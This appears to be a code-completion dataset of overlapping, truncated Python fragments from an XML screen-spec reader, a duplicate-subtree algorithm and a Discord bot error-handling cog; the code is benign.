"class XMLReader(object): def __init__(self, input_data): self.input_data = input_data self.retval = None; def __parseComponent(self,",
"n.text elif n.tag == 'children': children = self.__parseChildren(n, parent) elif n.tag == 'values':",
"in component node') name = None if len(items) == 1: name = items[0][1]",
"= self.__parseChildren(n, parent) elif n.tag == 'values': values = self.__parseValues(n, parent) else: raise",
"n.tag == 'identifier': identifier = n.text elif n.tag == 'children': children = self.__parseChildren(n,",
"'PASSWORD': model.Password, 'RADIO_BUTTON': model.RadioButton, 'RADIO_BUTTONS': model.RadioButtons, 'SIMPLE': model.Simple, 'STATIC_TEXT': model.StaticText, 'TABLE': model.Table, 'TEXT_AREA':",
"StringIO from screensketch.screenspec import model class XMLReader(object): def __init__(self, input_data): self.input_data = input_data",
"node, parent): items = node.items() if len(items) > 1: raise ValueError('Incorrect data in",
"def __init__(self, input_data): self.input_data = input_data self.retval = None; def __parseComponent(self, node, parent):",
"for child in children: component.append(child) if values: component._set_static_values(values) return component def __parseValues(self, node,",
"= [] for n in node.getchildren(): if n.tag == 'name': name = n.text",
"if clazz is None: raise ValueError('%s is an unsupported type of component' %",
"n in node.getchildren(): children.append(self.__parseComponent(n, parent)) return children def __parseScreen(self, node, parent): if node.tag",
"def __parseValues(self, node, parent): # tag name checked in __parseComponent children = []",
"model.ComboBox, 'DYNAMIC_TEXT': model.DynamicText, 'EDIT_BOX': model.EditBox, 'IMAGE': model.Image, 'LINK': model.Link, 'LIST': model.List, 'LIST_BOX': model.ListBox,",
"'CHECK_BOXES': model.CheckBoxes, 'COMBO_BOX': model.ComboBox, 'DYNAMIC_TEXT': model.DynamicText, 'EDIT_BOX': model.EditBox, 'IMAGE': model.Image, 'LINK': model.Link, 'LIST':",
"parent): items = node.items() if len(items) > 1: raise ValueError('Incorrect data in component",
"unsupported node in values tag' % n.tag) return children def __parseChildren(self, node, parent):",
"False items = n.items() if len(items) == 1 and len(items[0]) == 2: selected",
"# tag name checked in __parseScreen children = [] for n in node.getchildren():",
"{ 'EDIT_BOX': model.EditBox, 'BUTTON': model.Button, 'CHECK_BOX': model.CheckBox, 'CHECK_BOXES': model.CheckBoxes, 'COMBO_BOX': model.ComboBox, 'DYNAMIC_TEXT': model.DynamicText,"
] |
[
"-> str: if not root: return '' left = encode(root.left) right = encode(root.right)",
"encode(root: Optional[TreeNode]) -> str: if not root: return '' left = encode(root.left) right",
"right = encode(root.right) encoding = str(root.val) + '#' + left + '#' +",
"encode(root.right) encoding = str(root.val) + '#' + left + '#' + right if",
"not root: return '' left = encode(root.left) right = encode(root.right) encoding = str(root.val)",
"left = encode(root.left) right = encode(root.right) encoding = str(root.val) + '#' + left",
"= encode(root.left) right = encode(root.right) encoding = str(root.val) + '#' + left +",
"Solution: def findDuplicateSubtrees(self, root: Optional[TreeNode]) -> List[Optional[TreeNode]]: ans = [] count = Counter()",
"return '' left = encode(root.left) right = encode(root.right) encoding = str(root.val) + '#'",
"left + '#' + right if count[encoding] == 1: ans.append(root) count[encoding] += 1",
"right if count[encoding] == 1: ans.append(root) count[encoding] += 1 return encoding encode(root) return",
"'#' + left + '#' + right if count[encoding] == 1: ans.append(root) count[encoding]",
"+ '#' + right if count[encoding] == 1: ans.append(root) count[encoding] += 1 return",
"Optional[TreeNode]) -> str: if not root: return '' left = encode(root.left) right =",
"Counter() def encode(root: Optional[TreeNode]) -> str: if not root: return '' left =",
"def encode(root: Optional[TreeNode]) -> str: if not root: return '' left = encode(root.left)",
"encoding = str(root.val) + '#' + left + '#' + right if count[encoding]",
"count = Counter() def encode(root: Optional[TreeNode]) -> str: if not root: return ''",
"'' left = encode(root.left) right = encode(root.right) encoding = str(root.val) + '#' +",
"root: Optional[TreeNode]) -> List[Optional[TreeNode]]: ans = [] count = Counter() def encode(root: Optional[TreeNode])",
"def findDuplicateSubtrees(self, root: Optional[TreeNode]) -> List[Optional[TreeNode]]: ans = [] count = Counter() def",
"Optional[TreeNode]) -> List[Optional[TreeNode]]: ans = [] count = Counter() def encode(root: Optional[TreeNode]) ->",
"-> List[Optional[TreeNode]]: ans = [] count = Counter() def encode(root: Optional[TreeNode]) -> str:",
"= str(root.val) + '#' + left + '#' + right if count[encoding] ==",
"if count[encoding] == 1: ans.append(root) count[encoding] += 1 return encoding encode(root) return ans",
"<reponame>Next-Gen-UI/Code-Dynamics class Solution: def findDuplicateSubtrees(self, root: Optional[TreeNode]) -> List[Optional[TreeNode]]: ans = [] count",
"if not root: return '' left = encode(root.left) right = encode(root.right) encoding =",
"[] count = Counter() def encode(root: Optional[TreeNode]) -> str: if not root: return",
"= Counter() def encode(root: Optional[TreeNode]) -> str: if not root: return '' left",
"encode(root.left) right = encode(root.right) encoding = str(root.val) + '#' + left + '#'",
"+ '#' + left + '#' + right if count[encoding] == 1: ans.append(root)",
"class Solution: def findDuplicateSubtrees(self, root: Optional[TreeNode]) -> List[Optional[TreeNode]]: ans = [] count =",
"+ right if count[encoding] == 1: ans.append(root) count[encoding] += 1 return encoding encode(root)",
"ans = [] count = Counter() def encode(root: Optional[TreeNode]) -> str: if not",
"List[Optional[TreeNode]]: ans = [] count = Counter() def encode(root: Optional[TreeNode]) -> str: if",
"'#' + right if count[encoding] == 1: ans.append(root) count[encoding] += 1 return encoding",
"root: return '' left = encode(root.left) right = encode(root.right) encoding = str(root.val) +",
"str(root.val) + '#' + left + '#' + right if count[encoding] == 1:",
"str: if not root: return '' left = encode(root.left) right = encode(root.right) encoding",
"findDuplicateSubtrees(self, root: Optional[TreeNode]) -> List[Optional[TreeNode]]: ans = [] count = Counter() def encode(root:",
"+ left + '#' + right if count[encoding] == 1: ans.append(root) count[encoding] +=",
"= encode(root.right) encoding = str(root.val) + '#' + left + '#' + right",
"= [] count = Counter() def encode(root: Optional[TreeNode]) -> str: if not root:"
] |
[
"from discord.ext import commands import discord import datetime class OnError(commands.Cog): def __init__(self, bot):",
"= f\"You are missing a required argument for this command to work: `{error.param.name}`!\"",
"+ datetime.timedelta(seconds=seconds) await ctx.send(f'⏱️ This command is on a cooldown. Use it after",
"that role!\" await ctx.send(embed=embed) return if isinstance(error, commands.EmojiNotFound): embed.title = \"Emoji Not Found\"",
"\"Missing Permissions\" embed.description = f\"You are missing the following permissions: {perms}!\" await ctx.send(embed=embed)",
"embed.title = \"Message Not Found\" embed.description = \"The message id/link you provided is",
"missing the following permissions: {perms}!\" await ctx.send(embed=embed) return if isinstance(error, commands.MissingPermissions): perms =",
"\", \".join([f\"{x.replace('_', ' ').replace('guild', 'server').title()}\" for x in error.missing_permissions]) embed.title = \"Bot Missing",
"Not Found\" embed.description = \"The emoji id/name you provided is invalid or I",
"= \"Message Not Found\" embed.description = \"The message id/link you provided is invalid",
"ctx.send(embed=embed) return if isinstance(error, commands.NotOwner): embed.title = \"Not Owner\" embed.description = f\"You're not",
"import datetime class OnError(commands.Cog): def __init__(self, bot): self.bot = bot @commands.Cog.listener() async def",
"error.missing_permissions]) embed.title = \"Missing Permissions\" embed.description = f\"You are missing the following permissions:",
"ctx.send(embed=embed) return if isinstance(error, commands.ChannelNotFound): embed.title = \"Channel Not Found\" embed.description = \"The",
"= \"Bot Missing Permissions\" embed.description = f\"I am missing the following permissions: {perms}!\"",
"isinstance(error, commands.EmojiNotFound): embed.title = \"Emoji Not Found\" embed.description = \"The emoji id/name you",
"disabled by the bot's owner!\" await ctx.send(embed=embed) return if isinstance(error, commands.BadArgument): if isinstance(error,",
"\"The user id/mention/name you provided is invalid or I cannot see that User!\"",
"= f\"You are missing the following permissions: {perms}!\" await ctx.send(embed=embed) return if isinstance(error,",
"Permissions\" embed.description = f\"You are missing the following permissions: {perms}!\" await ctx.send(embed=embed) return",
"commands.BadArgument): if isinstance(error, commands.MessageNotFound): embed.title = \"Message Not Found\" embed.description = \"The message",
"ctx.send(embed=embed) return if isinstance(error, commands.MissingRequiredArgument): embed.title = \"Missing Argument\" embed.description = f\"You are",
"ctx.send(embed=embed) return if isinstance(error, commands.MemberNotFound): embed.title = \"Member Not Found\" embed.description = \"The",
"embed.title = \"Channel Not Found\" embed.description = \"The channel id/mention/name you provided is",
"import commands import discord import datetime class OnError(commands.Cog): def __init__(self, bot): self.bot =",
"ctx.send(embed=embed) return if isinstance(error, commands.EmojiNotFound): embed.title = \"Emoji Not Found\" embed.description = \"The",
"ctx.send(f'⏱️ This command is on a cooldown. Use it after <t:{int(datetime.datetime.timestamp(wait_until_finish))}:R>') return if",
"\"Message Not Found\" embed.description = \"The message id/link you provided is invalid or",
"await ctx.send(embed=embed) return if isinstance(error, commands.RoleNotFound): embed.title = \"Role Not Found\" embed.description =",
"embed.title = \"Missing Permissions\" embed.description = f\"You are missing the following permissions: {perms}!\"",
"isinstance(error, commands.MessageNotFound): embed.title = \"Message Not Found\" embed.description = \"The message id/link you",
"= \"The user id/mention/name you provided is invalid or I cannot see that",
"x in error.missing_permissions]) embed.title = \"Bot Missing Permissions\" embed.description = f\"I am missing",
"following permissions: {perms}!\" await ctx.send(embed=embed) return if isinstance(error, commands.MissingPermissions): perms = \", \".join([f\"{x.replace('_',",
"exist in this server!\" await ctx.send(embed=embed) return if isinstance(error, commands.UserNotFound): embed.title = \"User",
"class OnError(commands.Cog): def __init__(self, bot): self.bot = bot @commands.Cog.listener() async def on_command_error(self, ctx,",
"embed.description = f\"I am missing the following permissions: {perms}!\" await ctx.send(embed=embed) return if",
"cannot see that emoji!\" await ctx.send(embed=embed) return embed.title = \"Unexpected Error\" embed.description =",
"if isinstance(error, commands.BadArgument): if isinstance(error, commands.MessageNotFound): embed.title = \"Message Not Found\" embed.description =",
"return if isinstance(error, commands.RoleNotFound): embed.title = \"Role Not Found\" embed.description = \"The role",
"ctx, error): ignore = (commands.CommandNotFound, discord.NotFound, discord.Forbidden) if isinstance(error, ignore): return embed =",
"commands.EmojiNotFound): embed.title = \"Emoji Not Found\" embed.description = \"The emoji id/name you provided",
"this server!\" await ctx.send(embed=embed) return if isinstance(error, commands.UserNotFound): embed.title = \"User Not Found\"",
"missing the following permissions: {perms}!\" await ctx.send(embed=embed) return if isinstance(error, commands.NotOwner): embed.title =",
"{perms}!\" await ctx.send(embed=embed) return if isinstance(error, commands.MissingPermissions): perms = \", \".join([f\"{x.replace('_', ' ').replace('guild',",
"this command to work: `{error.param.name}`!\" await ctx.send(embed=embed) return if isinstance(error, commands.CommandOnCooldown): seconds =",
"embed.title = \"Role Not Found\" embed.description = \"The role id/mention/name you provided is",
"it after <t:{int(datetime.datetime.timestamp(wait_until_finish))}:R>') return if isinstance(error, commands.DisabledCommand): embed.title = \"Disabled\" embed.description = \"This",
"\"User Not Found\" embed.description = \"The user id/mention/name you provided is invalid or",
"Found\" embed.description = \"The user id/mention/name you provided is invalid or I cannot",
"async def on_command_error(self, ctx, error): ignore = (commands.CommandNotFound, discord.NotFound, discord.Forbidden) if isinstance(error, ignore):",
"ctx.send(embed=embed) return embed.title = \"Unexpected Error\" embed.description = error await ctx.send(embed=embed) async def",
"= f\"You're not the owner of this bot!\" await ctx.send(embed=embed) return if isinstance(error,",
"is invalid or didn't exist in this server!\" await ctx.send(embed=embed) return if isinstance(error,",
"self.bot = bot @commands.Cog.listener() async def on_command_error(self, ctx, error): ignore = (commands.CommandNotFound, discord.NotFound,",
"= \"Member Not Found\" embed.description = \"The member id/mention/name you provided is invalid",
"').replace('guild', 'server').title()}\" for x in error.missing_permissions]) embed.title = \"Bot Missing Permissions\" embed.description =",
"cannot see that User!\" await ctx.send(embed=embed) return if isinstance(error, commands.ChannelNotFound): embed.title = \"Channel",
"Found\" embed.description = \"The role id/mention/name you provided is invalid or I cannot",
"server!\" await ctx.send(embed=embed) return if isinstance(error, commands.UserNotFound): embed.title = \"User Not Found\" embed.description",
"\"Emoji Not Found\" embed.description = \"The emoji id/name you provided is invalid or",
"embed.title = \"Missing Argument\" embed.description = f\"You are missing a required argument for",
"for this command to work: `{error.param.name}`!\" await ctx.send(embed=embed) return if isinstance(error, commands.CommandOnCooldown): seconds",
"await ctx.send(embed=embed) return if isinstance(error, commands.ChannelNotFound): embed.title = \"Channel Not Found\" embed.description =",
"\"Not Owner\" embed.description = f\"You're not the owner of this bot!\" await ctx.send(embed=embed)",
"id/mention/name you provided is invalid or I access it!\" await ctx.send(embed=embed) return if",
"return if isinstance(error, commands.MissingPermissions): perms = \", \".join([f\"{x.replace('_', ' ').replace('guild', 'server').title()}\" for x",
"= \"Missing Argument\" embed.description = f\"You are missing a required argument for this",
"I cannot see that User!\" await ctx.send(embed=embed) return if isinstance(error, commands.ChannelNotFound): embed.title =",
"\"Channel Not Found\" embed.description = \"The channel id/mention/name you provided is invalid or",
"def __init__(self, bot): self.bot = bot @commands.Cog.listener() async def on_command_error(self, ctx, error): ignore",
"x in error.missing_permissions]) embed.title = \"Missing Permissions\" embed.description = f\"You are missing the",
"in error.missing_permissions]) embed.title = \"Bot Missing Permissions\" embed.description = f\"I am missing the",
"def on_command_error(self, ctx, error): ignore = (commands.CommandNotFound, discord.NotFound, discord.Forbidden) if isinstance(error, ignore): return",
"'server').title()}\" for x in error.missing_permissions]) embed.title = \"Bot Missing Permissions\" embed.description = f\"I",
"embed.description = \"This command is disabled by the bot's owner!\" await ctx.send(embed=embed) return",
"if isinstance(error, commands.MissingPermissions): perms = \", \".join([f\"{x.replace('_', ' ').replace('guild', 'server').title()}\" for x in",
"if isinstance(error, commands.UserNotFound): embed.title = \"User Not Found\" embed.description = \"The user id/mention/name",
"Not Found\" embed.description = \"The member id/mention/name you provided is invalid or didn't",
"ctx.send(embed=embed) return if isinstance(error, commands.RoleNotFound): embed.title = \"Role Not Found\" embed.description = \"The",
"= \"User Not Found\" embed.description = \"The user id/mention/name you provided is invalid",
"command is on a cooldown. Use it after <t:{int(datetime.datetime.timestamp(wait_until_finish))}:R>') return if isinstance(error, commands.DisabledCommand):",
"if isinstance(error, ignore): return embed = discord.Embed(color=self.bot.embed_color) if isinstance(error, commands.BotMissingPermissions): perms = \",",
"commands.CommandOnCooldown): seconds = int(error.retry_after) wait_until_finish = datetime.datetime.now() + datetime.timedelta(seconds=seconds) await ctx.send(f'⏱️ This command",
"is invalid or I access it!\" await ctx.send(embed=embed) return if isinstance(error, commands.RoleNotFound): embed.title",
"if isinstance(error, commands.CommandOnCooldown): seconds = int(error.retry_after) wait_until_finish = datetime.datetime.now() + datetime.timedelta(seconds=seconds) await ctx.send(f'⏱️",
"discord import datetime class OnError(commands.Cog): def __init__(self, bot): self.bot = bot @commands.Cog.listener() async",
"isinstance(error, commands.MemberNotFound): embed.title = \"Member Not Found\" embed.description = \"The member id/mention/name you",
"role!\" await ctx.send(embed=embed) return if isinstance(error, commands.EmojiNotFound): embed.title = \"Emoji Not Found\" embed.description",
"if isinstance(error, commands.EmojiNotFound): embed.title = \"Emoji Not Found\" embed.description = \"The emoji id/name",
"that User!\" await ctx.send(embed=embed) return if isinstance(error, commands.ChannelNotFound): embed.title = \"Channel Not Found\"",
"Owner\" embed.description = f\"You're not the owner of this bot!\" await ctx.send(embed=embed) return",
"required argument for this command to work: `{error.param.name}`!\" await ctx.send(embed=embed) return if isinstance(error,",
"import discord import datetime class OnError(commands.Cog): def __init__(self, bot): self.bot = bot @commands.Cog.listener()",
"the following permissions: {perms}!\" await ctx.send(embed=embed) return if isinstance(error, commands.NotOwner): embed.title = \"Not",
"you provided is invalid or I access it!\" await ctx.send(embed=embed) return if isinstance(error,",
"emoji id/name you provided is invalid or I cannot see that emoji!\" await",
"member id/mention/name you provided is invalid or didn't exist in this server!\" await",
"bot's owner!\" await ctx.send(embed=embed) return if isinstance(error, commands.BadArgument): if isinstance(error, commands.MessageNotFound): embed.title =",
"ignore = (commands.CommandNotFound, discord.NotFound, discord.Forbidden) if isinstance(error, ignore): return embed = discord.Embed(color=self.bot.embed_color) if",
"return if isinstance(error, commands.MemberNotFound): embed.title = \"Member Not Found\" embed.description = \"The member",
"if isinstance(error, commands.RoleNotFound): embed.title = \"Role Not Found\" embed.description = \"The role id/mention/name",
"embed.title = \"Not Owner\" embed.description = f\"You're not the owner of this bot!\"",
"\".join([f\"{x.replace('_', ' ').replace('guild', 'server').title()}\" for x in error.missing_permissions]) embed.title = \"Bot Missing Permissions\"",
"return if isinstance(error, commands.UserNotFound): embed.title = \"User Not Found\" embed.description = \"The user",
"on_command_error(self, ctx, error): ignore = (commands.CommandNotFound, discord.NotFound, discord.Forbidden) if isinstance(error, ignore): return embed",
"return embed = discord.Embed(color=self.bot.embed_color) if isinstance(error, commands.BotMissingPermissions): perms = \", \".join([f\"{x.replace('_', ' ').replace('guild',",
"datetime.timedelta(seconds=seconds) await ctx.send(f'⏱️ This command is on a cooldown. Use it after <t:{int(datetime.datetime.timestamp(wait_until_finish))}:R>')",
"the bot's owner!\" await ctx.send(embed=embed) return if isinstance(error, commands.BadArgument): if isinstance(error, commands.MessageNotFound): embed.title",
"Found\" embed.description = \"The message id/link you provided is invalid or deleted!\" await",
"Not Found\" embed.description = \"The channel id/mention/name you provided is invalid or I",
"I access it!\" await ctx.send(embed=embed) return if isinstance(error, commands.RoleNotFound): embed.title = \"Role Not",
"provided is invalid or I cannot see that role!\" await ctx.send(embed=embed) return if",
"Use it after <t:{int(datetime.datetime.timestamp(wait_until_finish))}:R>') return if isinstance(error, commands.DisabledCommand): embed.title = \"Disabled\" embed.description =",
"you provided is invalid or didn't exist in this server!\" await ctx.send(embed=embed) return",
"provided is invalid or I cannot see that emoji!\" await ctx.send(embed=embed) return embed.title",
"ctx.send(embed=embed) return if isinstance(error, commands.CommandOnCooldown): seconds = int(error.retry_after) wait_until_finish = datetime.datetime.now() + datetime.timedelta(seconds=seconds)",
"Not Found\" embed.description = \"The user id/mention/name you provided is invalid or I",
"command to work: `{error.param.name}`!\" await ctx.send(embed=embed) return if isinstance(error, commands.CommandOnCooldown): seconds = int(error.retry_after)",
"\"The role id/mention/name you provided is invalid or I cannot see that role!\"",
"commands.DisabledCommand): embed.title = \"Disabled\" embed.description = \"This command is disabled by the bot's",
"isinstance(error, commands.MissingPermissions): perms = \", \".join([f\"{x.replace('_', ' ').replace('guild', 'server').title()}\" for x in error.missing_permissions])",
"channel id/mention/name you provided is invalid or I access it!\" await ctx.send(embed=embed) return",
"').replace('guild', 'server').title()}\" for x in error.missing_permissions]) embed.title = \"Missing Permissions\" embed.description = f\"You",
"embed.description = f\"You are missing a required argument for this command to work:",
"= bot @commands.Cog.listener() async def on_command_error(self, ctx, error): ignore = (commands.CommandNotFound, discord.NotFound, discord.Forbidden)",
"= \"Emoji Not Found\" embed.description = \"The emoji id/name you provided is invalid",
"in error.missing_permissions]) embed.title = \"Missing Permissions\" embed.description = f\"You are missing the following",
"wait_until_finish = datetime.datetime.now() + datetime.timedelta(seconds=seconds) await ctx.send(f'⏱️ This command is on a cooldown.",
"return if isinstance(error, commands.NotOwner): embed.title = \"Not Owner\" embed.description = f\"You're not the",
"= int(error.retry_after) wait_until_finish = datetime.datetime.now() + datetime.timedelta(seconds=seconds) await ctx.send(f'⏱️ This command is on",
"isinstance(error, commands.RoleNotFound): embed.title = \"Role Not Found\" embed.description = \"The role id/mention/name you",
"\".join([f\"{x.replace('_', ' ').replace('guild', 'server').title()}\" for x in error.missing_permissions]) embed.title = \"Missing Permissions\" embed.description",
"isinstance(error, commands.ChannelNotFound): embed.title = \"Channel Not Found\" embed.description = \"The channel id/mention/name you",
"invalid or didn't exist in this server!\" await ctx.send(embed=embed) return if isinstance(error, commands.UserNotFound):",
"discord.Embed(color=self.bot.embed_color) if isinstance(error, commands.BotMissingPermissions): perms = \", \".join([f\"{x.replace('_', ' ').replace('guild', 'server').title()}\" for x",
"return embed.title = \"Unexpected Error\" embed.description = error await ctx.send(embed=embed) async def setup(bot):",
"\"This command is disabled by the bot's owner!\" await ctx.send(embed=embed) return if isinstance(error,",
"you provided is invalid or deleted!\" await ctx.send(embed=embed) return if isinstance(error, commands.MemberNotFound): embed.title",
"{perms}!\" await ctx.send(embed=embed) return if isinstance(error, commands.NotOwner): embed.title = \"Not Owner\" embed.description =",
"commands.MissingRequiredArgument): embed.title = \"Missing Argument\" embed.description = f\"You are missing a required argument",
"provided is invalid or didn't exist in this server!\" await ctx.send(embed=embed) return if",
"return if isinstance(error, commands.CommandOnCooldown): seconds = int(error.retry_after) wait_until_finish = datetime.datetime.now() + datetime.timedelta(seconds=seconds) await",
"for x in error.missing_permissions]) embed.title = \"Missing Permissions\" embed.description = f\"You are missing",
"return if isinstance(error, commands.EmojiNotFound): embed.title = \"Emoji Not Found\" embed.description = \"The emoji",
"commands.MemberNotFound): embed.title = \"Member Not Found\" embed.description = \"The member id/mention/name you provided",
"\"The channel id/mention/name you provided is invalid or I access it!\" await ctx.send(embed=embed)",
"am missing the following permissions: {perms}!\" await ctx.send(embed=embed) return if isinstance(error, commands.MissingPermissions): perms",
"ctx.send(embed=embed) return if isinstance(error, commands.MissingPermissions): perms = \", \".join([f\"{x.replace('_', ' ').replace('guild', 'server').title()}\" for",
"ignore): return embed = discord.Embed(color=self.bot.embed_color) if isinstance(error, commands.BotMissingPermissions): perms = \", \".join([f\"{x.replace('_', '",
"id/link you provided is invalid or deleted!\" await ctx.send(embed=embed) return if isinstance(error, commands.MemberNotFound):",
"= datetime.datetime.now() + datetime.timedelta(seconds=seconds) await ctx.send(f'⏱️ This command is on a cooldown. Use",
"commands import discord import datetime class OnError(commands.Cog): def __init__(self, bot): self.bot = bot",
"\"The message id/link you provided is invalid or deleted!\" await ctx.send(embed=embed) return if",
"embed.description = \"The user id/mention/name you provided is invalid or I cannot see",
"await ctx.send(embed=embed) return if isinstance(error, commands.BadArgument): if isinstance(error, commands.MessageNotFound): embed.title = \"Message Not",
"embed.description = \"The channel id/mention/name you provided is invalid or I access it!\"",
"if isinstance(error, commands.DisabledCommand): embed.title = \"Disabled\" embed.description = \"This command is disabled by",
"(commands.CommandNotFound, discord.NotFound, discord.Forbidden) if isinstance(error, ignore): return embed = discord.Embed(color=self.bot.embed_color) if isinstance(error, commands.BotMissingPermissions):",
"deleted!\" await ctx.send(embed=embed) return if isinstance(error, commands.MemberNotFound): embed.title = \"Member Not Found\" embed.description",
"f\"You are missing a required argument for this command to work: `{error.param.name}`!\" await",
"seconds = int(error.retry_after) wait_until_finish = datetime.datetime.now() + datetime.timedelta(seconds=seconds) await ctx.send(f'⏱️ This command is",
"provided is invalid or I access it!\" await ctx.send(embed=embed) return if isinstance(error, commands.RoleNotFound):",
"see that role!\" await ctx.send(embed=embed) return if isinstance(error, commands.EmojiNotFound): embed.title = \"Emoji Not",
"= \"The channel id/mention/name you provided is invalid or I access it!\" await",
"= \"Role Not Found\" embed.description = \"The role id/mention/name you provided is invalid",
"' ').replace('guild', 'server').title()}\" for x in error.missing_permissions]) embed.title = \"Bot Missing Permissions\" embed.description",
"commands.NotOwner): embed.title = \"Not Owner\" embed.description = f\"You're not the owner of this",
"embed.title = \"User Not Found\" embed.description = \"The user id/mention/name you provided is",
"await ctx.send(embed=embed) return if isinstance(error, commands.MissingPermissions): perms = \", \".join([f\"{x.replace('_', ' ').replace('guild', 'server').title()}\"",
"isinstance(error, commands.DisabledCommand): embed.title = \"Disabled\" embed.description = \"This command is disabled by the",
"provided is invalid or I cannot see that User!\" await ctx.send(embed=embed) return if",
"bot): self.bot = bot @commands.Cog.listener() async def on_command_error(self, ctx, error): ignore = (commands.CommandNotFound,",
"OnError(commands.Cog): def __init__(self, bot): self.bot = bot @commands.Cog.listener() async def on_command_error(self, ctx, error):",
"= \"Missing Permissions\" embed.description = f\"You are missing the following permissions: {perms}!\" await",
"commands.RoleNotFound): embed.title = \"Role Not Found\" embed.description = \"The role id/mention/name you provided",
"owner!\" await ctx.send(embed=embed) return if isinstance(error, commands.BadArgument): if isinstance(error, commands.MessageNotFound): embed.title = \"Message",
"see that User!\" await ctx.send(embed=embed) return if isinstance(error, commands.ChannelNotFound): embed.title = \"Channel Not",
"return if isinstance(error, commands.DisabledCommand): embed.title = \"Disabled\" embed.description = \"This command is disabled",
"commands.MessageNotFound): embed.title = \"Message Not Found\" embed.description = \"The message id/link you provided",
"= \"Channel Not Found\" embed.description = \"The channel id/mention/name you provided is invalid",
"role id/mention/name you provided is invalid or I cannot see that role!\" await",
"invalid or I cannot see that User!\" await ctx.send(embed=embed) return if isinstance(error, commands.ChannelNotFound):",
"__init__(self, bot): self.bot = bot @commands.Cog.listener() async def on_command_error(self, ctx, error): ignore =",
"embed.description = \"The emoji id/name you provided is invalid or I cannot see",
"I cannot see that role!\" await ctx.send(embed=embed) return if isinstance(error, commands.EmojiNotFound): embed.title =",
"embed.title = \"Emoji Not Found\" embed.description = \"The emoji id/name you provided is",
"\"Role Not Found\" embed.description = \"The role id/mention/name you provided is invalid or",
"isinstance(error, commands.BotMissingPermissions): perms = \", \".join([f\"{x.replace('_', ' ').replace('guild', 'server').title()}\" for x in error.missing_permissions])",
"datetime.datetime.now() + datetime.timedelta(seconds=seconds) await ctx.send(f'⏱️ This command is on a cooldown. Use it",
"cooldown. Use it after <t:{int(datetime.datetime.timestamp(wait_until_finish))}:R>') return if isinstance(error, commands.DisabledCommand): embed.title = \"Disabled\" embed.description",
"error): ignore = (commands.CommandNotFound, discord.NotFound, discord.Forbidden) if isinstance(error, ignore): return embed = discord.Embed(color=self.bot.embed_color)",
"owner of this bot!\" await ctx.send(embed=embed) return if isinstance(error, commands.MissingRequiredArgument): embed.title = \"Missing",
"<t:{int(datetime.datetime.timestamp(wait_until_finish))}:R>') return if isinstance(error, commands.DisabledCommand): embed.title = \"Disabled\" embed.description = \"This command is",
"= f\"I am missing the following permissions: {perms}!\" await ctx.send(embed=embed) return if isinstance(error,",
"bot @commands.Cog.listener() async def on_command_error(self, ctx, error): ignore = (commands.CommandNotFound, discord.NotFound, discord.Forbidden) if",
"Missing Permissions\" embed.description = f\"I am missing the following permissions: {perms}!\" await ctx.send(embed=embed)",
"commands.UserNotFound): embed.title = \"User Not Found\" embed.description = \"The user id/mention/name you provided",
"it!\" await ctx.send(embed=embed) return if isinstance(error, commands.RoleNotFound): embed.title = \"Role Not Found\" embed.description",
"is disabled by the bot's owner!\" await ctx.send(embed=embed) return if isinstance(error, commands.BadArgument): if",
"this bot!\" await ctx.send(embed=embed) return if isinstance(error, commands.MissingRequiredArgument): embed.title = \"Missing Argument\" embed.description",
"f\"You're not the owner of this bot!\" await ctx.send(embed=embed) return if isinstance(error, commands.MissingRequiredArgument):",
"Found\" embed.description = \"The member id/mention/name you provided is invalid or didn't exist",
"commands.MissingPermissions): perms = \", \".join([f\"{x.replace('_', ' ').replace('guild', 'server').title()}\" for x in error.missing_permissions]) embed.title",
"permissions: {perms}!\" await ctx.send(embed=embed) return if isinstance(error, commands.NotOwner): embed.title = \"Not Owner\" embed.description",
"is invalid or I cannot see that emoji!\" await ctx.send(embed=embed) return embed.title =",
"isinstance(error, commands.CommandOnCooldown): seconds = int(error.retry_after) wait_until_finish = datetime.datetime.now() + datetime.timedelta(seconds=seconds) await ctx.send(f'⏱️ This",
"missing a required argument for this command to work: `{error.param.name}`!\" await ctx.send(embed=embed) return",
"on a cooldown. Use it after <t:{int(datetime.datetime.timestamp(wait_until_finish))}:R>') return if isinstance(error, commands.DisabledCommand): embed.title =",
"commands.ChannelNotFound): embed.title = \"Channel Not Found\" embed.description = \"The channel id/mention/name you provided",
"if isinstance(error, commands.ChannelNotFound): embed.title = \"Channel Not Found\" embed.description = \"The channel id/mention/name",
"' ').replace('guild', 'server').title()}\" for x in error.missing_permissions]) embed.title = \"Missing Permissions\" embed.description =",
"invalid or I cannot see that emoji!\" await ctx.send(embed=embed) return embed.title = \"Unexpected",
"= \", \".join([f\"{x.replace('_', ' ').replace('guild', 'server').title()}\" for x in error.missing_permissions]) embed.title = \"Bot",
"are missing a required argument for this command to work: `{error.param.name}`!\" await ctx.send(embed=embed)",
"cannot see that role!\" await ctx.send(embed=embed) return if isinstance(error, commands.EmojiNotFound): embed.title = \"Emoji",
"= \"Unexpected Error\" embed.description = error await ctx.send(embed=embed) async def setup(bot): await bot.add_cog(OnError(bot))",
"error.missing_permissions]) embed.title = \"Bot Missing Permissions\" embed.description = f\"I am missing the following",
"permissions: {perms}!\" await ctx.send(embed=embed) return if isinstance(error, commands.MissingPermissions): perms = \", \".join([f\"{x.replace('_', '",
"of this bot!\" await ctx.send(embed=embed) return if isinstance(error, commands.MissingRequiredArgument): embed.title = \"Missing Argument\"",
"isinstance(error, commands.UserNotFound): embed.title = \"User Not Found\" embed.description = \"The user id/mention/name you",
"Permissions\" embed.description = f\"I am missing the following permissions: {perms}!\" await ctx.send(embed=embed) return",
"return if isinstance(error, commands.ChannelNotFound): embed.title = \"Channel Not Found\" embed.description = \"The channel",
"`{error.param.name}`!\" await ctx.send(embed=embed) return if isinstance(error, commands.CommandOnCooldown): seconds = int(error.retry_after) wait_until_finish = datetime.datetime.now()",
"discord.Forbidden) if isinstance(error, ignore): return embed = discord.Embed(color=self.bot.embed_color) if isinstance(error, commands.BotMissingPermissions): perms =",
"id/mention/name you provided is invalid or I cannot see that role!\" await ctx.send(embed=embed)",
"= discord.Embed(color=self.bot.embed_color) if isinstance(error, commands.BotMissingPermissions): perms = \", \".join([f\"{x.replace('_', ' ').replace('guild', 'server').title()}\" for",
"discord.NotFound, discord.Forbidden) if isinstance(error, ignore): return embed = discord.Embed(color=self.bot.embed_color) if isinstance(error, commands.BotMissingPermissions): perms",
"invalid or I access it!\" await ctx.send(embed=embed) return if isinstance(error, commands.RoleNotFound): embed.title =",
"await ctx.send(embed=embed) return if isinstance(error, commands.MemberNotFound): embed.title = \"Member Not Found\" embed.description =",
"Found\" embed.description = \"The emoji id/name you provided is invalid or I cannot",
